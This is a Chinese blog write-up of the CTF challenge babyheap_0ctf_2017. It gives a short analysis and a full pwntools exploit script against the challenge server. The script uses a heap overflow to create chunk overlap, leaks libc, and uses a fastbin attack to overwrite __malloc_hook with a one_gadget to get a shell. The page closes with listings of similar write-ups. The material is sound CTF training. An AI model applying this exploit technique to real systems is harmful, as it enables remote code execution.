【pwn】 0ctf_2017_babyheap

babyheap_0ctf_2017 babyheap_0ctf_2017 使用checksec查看: 保护全开,看到PIE的时候就想到需要泄露libc_base_addr了 拉进IDA中看吧: 一个死循环,主要功能Allocate、Fill、Free、Dump,这边我已经修改函数名了,接下来一个一个看 首先是创建堆: 最多创建15个chunk、每个chunk的最大size是4096 *(0x18LL * i + a1) = 1;创建chunk时给了标志1 接着是编辑堆内容: 判断了标志存不存在,若chunk存在,让用户输入size存放 阅读详情

例行检查
在这里插入图片描述保护全开。
分析程序。在fill函数中存在溢出,通overlap,泄露libc。然后fastbin attack。

from pwn import *

io=remote('node3.buuoj.cn',27627)
libc=ELF('./libc-2.23.so')

def add(size):
    io.recvuntil('Command: ')
    io.sendline('1')
    io.recvuntil('Size: ')
    io.sendline(str(size))

def edit(idx,size,data):
    io.recvuntil('Command: ')
    io.sendline('2')
    io.recvuntil('Index: ')
    io.sendline(str(idx))
    io.recvuntil('Size: ')
    io.sendline(str(size))
    io.recvuntil('Content: ')
    io.sendline(data)

def free(idx):
    io.recvuntil('Command: ')
    io.sendline('3')
    io.recvuntil('Index: ')
    io.sendline(str(idx))

def show(idx):
    io.recvuntil('Command: ')
    io.sendline('4')
    io.recvuntil('Index: ')
    io.sendline(str(idx))

add(0x100)#0
add(0x100)#1
add(0x80)#2
add(0x60)#3
add(0x60)#4
add(0x60)#5

edit(0,0x110,'a'*0x108+p64(0x1a1))
free(1)
add(0x190)#1
edit(1,0x110,'a'*0x108+p64(0x91))
free(2)
show(1)
io.recvuntil('Content: ')
io.recv(0x111)
libc_base=u64(io.recv(8))-0x3c4b78
print(hex(libc_base))

malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x4526a
free(4)
edit(3,0x78,'a'*0x68+p64(0x71)+p64(malloc_hook-0x23))
add(0x60)#2
add(0x60)#4
pl='a'*0x13+p64(one_gadget)
edit(4,len(pl),pl)

#getshell
add(0x10)

io.interactive()
[BUUCTF] babyheap_0ctf_2017 有点回想起当初第一次拿到flag时的感觉,继续加油。 本题考察知识点:**Fastbin Attack** 与 **Unsorted Bin Attack。** 通过使用Fastbin Attack与堆溢出漏洞,我们可以绕过Free后指针置零,从而达到在置零指针后获取堆块fd指针。 通过Unsorted Bin Attack,我们可以泄露Libc地址。 然后我们再使用Fastbin Attack替换__malloc_hook 本文写给自己,也写给跟我一样全网寻找详细解答的师傅们。 阅读详情

相关推荐

[BUUCTF]PWN——babyheap_0ctf_2017

[BUUCTF]PWN19——babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个视频,我也刚接触堆不久,有些地方我也讲不清楚 ida载入,先看一下main函数,做堆题的时候需要将程序给理清楚了,这边的几个选项函数一开始不是如图所示的,我们可以右击给他重新命名一下,为了让我们看的更清楚 add,就是简单的创建一个chunk edit,我们写入数据的长度是我们可以自己控制的,存在堆

mcmuyanga的博客 4713

0ctf_2017_babyheap详解

本文主要列出0ctf_2017_babyheap的详细过程 主要参考:https://bbs.pediy.com/thread-223461.htm 程序流程 allocate:申请size大小的块 fill:对idx的块,设置size,并填入content free:释放idx的块 dump:打印idx的块内容 漏洞分析 fill中的size可以重新设置,故可以造成堆溢出。 方法:fastbin attack double free泄露libc 【small/large chunk释放,fd和.

像初雪一样自由洒落 4772

【BUUCTF - PWN】babyheap_0ctf_2017

checksec一下,堆题果然是保护全开 IDA打开看看,首先mmap一块随机区域,用于存放我们申请的块的属性,然后输出菜单,有allocate、fill、free、dump功能 可以注意到,在创建堆的时候,将堆的地址和大小存放在了mmap的区域中,并且使用的是calloc,会将申请的内存区域清零 漏洞点在fill函数中,没有限制输入内容的长度,从而可以堆溢出 删除堆后会将指针置零 输出...

古月浪子的博客 2783

babyheap_0ctf_2017 详细解析【BUUCTF】

好家伙,保护全开,根据文件名,可以判断这是一道堆题目,刷了这么久,终于遇到堆题目了,解析就写的详细点。先看main函数,很简单就是各类个目录函数,一步一步来看把。

qq_41696518的博客 4683

【PWN系列】 Buucf babyheap_0ctf_2017 Writeup

个人博客地址 http://www.darkerbox.com 欢迎大家学习交流 参考网址: https://www.cnblogs.com/luoleqi/p/12349714.html 分析 参考网址说的已经不错了,主要问题出现在fill功能,只要chunk存在,即可写任意长度的字符。 主要还是利用fasbin attack和unsorted的特性(下面会说到)来修改__malloc_hook拿到shell。 这里我来实际走一遍exp的流程,下面的exp我用的是本地的libc。 利用 下面的代码定

Vicl1fe的博客 844

Vue2项目实战:vue2-org-tree实现动态组织架构图

本文详细介绍了如何在Vue2项目中使用vue2-org-tree组件实现动态、可交互的组织架构图。内容涵盖从快速安装、基础渲染到核心功能实战,包括水平布局、节点展开折叠、响应式数据绑定、深度自定义节点内容以及事件处理。同时提供了性能优化、样式覆盖等避坑指南,并通过一个完整的企业级Demo展示了如何打造功能丰富的架构图,助力高效开发后台管理系统。

weixin_28040125的博客 522

0ctf Babyheap 2017

0ctf 2017 BabyHeap 1. 题目分析 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 如果RELRO: Partial RELRO, 有可能是格式化字符串。 结论...

Bill 6854

记一次完整的RPG Maker MV游戏逆向过程(思路一)

了解RPG Maker MV的文件建构 上一篇文章,我们已经成功在PC上运行了游戏,那我们如何对游戏进行逆向呢? 首先要了解正常的RPG Maker MV制作的游戏应该具有哪些文件,以及他的结构 那如何了解他的结构呢,很简单,我们只需要用RPG Maker MV创建一个默认工程,来看看一个游戏的最简结构是怎么样的 创建新项目 项目创建完成 查看项目目录结构 是不是和之前解包出来的很像呢? 通...

Ciiiiiing的博客 1万+

[BUUCTF]PWN——0ctf_2017_babyheap

0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show() 利用思路 edit存在堆溢出,可以通过重叠堆来泄露libc 然后利用fastbin attack,修改malloc_hook为one_gadget 利用过程 首先来构造重叠堆 先申请3个chunk, add(0x10)#0 add(0x10)#1 add(0x80)#2 来看一

mcmuyanga的博客 873

RK3588多核NPU并行加速yolo优化教程:基于线程池的高性能推理实现

本教程详细介绍了RK3588多核NPU的并行加速优化方法。RK3588搭载三个独立NPU核心,总计算能力达6TOPS,但传统单线程方式无法充分发挥其性能。文章从硬件架构分析入手,详细讲解了三核心独立处理架构和多种工作模式,并通过代码示例展示了线程池技术的实现原理。线程池通过预创建工作线程、任务队列和条件变量等核心组件,避免了频繁创建线程的开销,能显著提升NPU的并行处理效率。教程还提供了性能计算公式和内存带宽优化策略,帮助开发者最大化利用RK3588的硬件算力,实现高性能AI推理。

LXY_LOVE36的博客 1024

Simulink开发项1000例实战专栏--实例148:构建一个完整的电动汽车电池SOH评估仿真模型,包括电池建模模块、数据采集模块、SOH估算算法模块以及性能评估模块

电动汽车的动力电池是其核心部件,而电池的健康状态(State of Health, SOH)直接影响车辆的续航能力和使用寿命。SOH通常定义为当前电池容量与初始容量的比值,用百分比表示。通过基于MATLAB/Simulink平台的SOH评估仿真,可以实时监测电池的退化情况,并为电池管理系统(BMS)提供决策依据。本项目旨在构建一个完整的电动汽车电池SOH评估仿真模型,包括电池建模模块、数据采集模块、SOH估算算法模块以及性能评估模块,并通过仿真验证SOH评估的准确性。

xiaoheshang_123的博客 342

[BUUCTF]PWN——babyheap_0ctf_2017漏洞利用实战:从堆溢出到getshell

本文详细解析了BUUCTF PWN题目babyheap_0ctf_2017的堆漏洞利用过程,从堆溢出漏洞发现到Fastbin Attack泄露libc地址,最终通过劫持__malloc_hook实现getshell。文章提供了完整的EXP代码和实战技巧,帮助读者深入理解现代堆漏洞利用技术。

weixin_30687051的博客 549

YOLO11,ultralytics-main源代码目录结构详解

本文详细介绍了YOLO11框架的ultralytics-main源代码目录结构,帮助用户更好地理解和使用YOLO模型。主要目录包括:docker文件夹,包含多种Docker镜像文件,适用于不同硬件环境;docs文件夹,存放YOLO的说明文档;examples文件夹,提供YOLO使用的示例代码;tests文件夹,包含单元测试模块;ultralytics文件夹,为核心代码所在,包含推理逻辑、配置、数据处理等模块。其中,engine文件夹负责训练和推理引擎,models文件夹存放模型架构,nn定义神经网络结构

qq_30279827的博客 1282

BUUCTF Pwn babyheap_0ctf_2017 Unsorted bin attack部分

可以在编辑堆的时候重新设置大小 存在堆溢出。delete函数的指针清零了 无UAF。开启了全保护 64位。

qq_33348179的博客 302

Linux7 挂载 nfs 远程目录

每天一个 DBA 小知识,助你更进一步!

LuciferLiu_DBA 1万+

基于STM32的嵌入式平台实现EtherCAT主站

本文将介绍如何在基于STM32的嵌入式平台上构建EtherCAT主站,并提供相应的源代码。使用SOEM库提供的API函数,我们可以实现与EtherCAT从站设备的实时通信和数据交换。在STM32的代码中,使用SOEM库提供的API函数初始化EtherCAT主站。在SOEM库中,我们可以找到EtherCAT主站的实现代码和相关的API函数。使用SOEM库提供的API函数实现EtherCAT主站的功能,包括发送和接收EtherCAT数据帧、处理从站设备的状态等。确保连接正常并且设备能够相互通信。

CodeSageX的博客 2833

[BUUCTF]PWN——babyheap_0ctf_2017漏洞利用全解析:从堆溢出到getshell

本文详细解析了BUUCTF竞赛中babyheap_0ctf_2017题目的漏洞利用过程,从堆溢出到最终getshell的全流程。通过分析fastbin attack技术,展示了如何绕过Canary、NX、PIE等保护机制,实现libc地址泄露和__malloc_hook劫持,为PWN爱好者提供了堆利用的实战教程。

weixin_29012677的博客 261

月薪30k+的工业视觉,必备Java+YOLO技能(工业级落地全拆解)

30k+工业视觉岗的核心不是算法调参,而是用Java把YOLO落地到工业场景的能力——稳运行、能对接、可管理是高薪的核心壁垒;必备技能分五层:模型工业级适配、Java推理核心、SpringBoot后端、工业部署运维、场景适配,每层都要练到“能落地、能讲清、能避坑”;学习路径的核心是“实战驱动”:不要只学理论,从一个完整的工业项目(如锂电缺陷检测)入手,练完就能对标高薪岗。

2601_94871597的博客 525

0ctf2017 pwn babyheap

题目:http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html 0x00:运行程序 user@ubuntu:~/workspace/pwn$ ./0ctfbabyheap ===== Baby Heap in 2017 ===== 1. Allocate 2. Fill 3. F...

weixin_30512043的博客 280

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

[BUUCTF]-PWN:babyheap_0ctf_2017解析

但是这里要解释一点,为什么不能直接释放堆块4,虽然这样堆块4也能进入unsortedbin里,但是要注意free堆块后指向堆块的指针将会被置零,大致意思就是free了之后,index4就不指向那个堆块了,这时候dump(4)就是无效的,虽然那个堆块里面有mainarena+88的地址,但dump(4)不会打印出里面的地址,所以我们要让两个堆块的指针指向同一个堆块,这样在释放掉一个堆块时还能用另一个指针利用该堆块。后面alloc(0x60)与这里的0x7f有关。

2301_79326813的博客 1355

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

buuctf pwn babyheap_0ctf_2017

由于断断续续写了好久加上自身水平不足导致可能存在逻辑上的错误等等,如有错误,还望指出。

m0_60886511的博客 267

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

[BUUCTF]pwn——0ctf_2017_babyheap wp

【代码】[BUUCTF]pwn——0ctf_2017_babyheap wp。

2301_79756878的博客 159

PWN堆学习fastbin Buuctf-babyheap_0ctf_2017

而且比较有意思的是,这次又让我们重新输入了content_size,但是程序并没有将原来结构体中的content_size更改。由于我们希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能被回收到 fastbin chunk,也不能和 top chunk 相邻。上面介绍的randomize_va_space文件的枚举值含义,设置的值不同,linux内核加载程序的地址空间的策略就会不同。

lplum_的博客 1041

我又pwn啦——*刷题篇 babyheap_0ctf_2017

babyheap

m0_64195960的博客 795
上一篇: 【pwn】SWPUCTF_2019_p1KkHeap
下一篇: 【pwn】 3dsctf2016_get_started
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值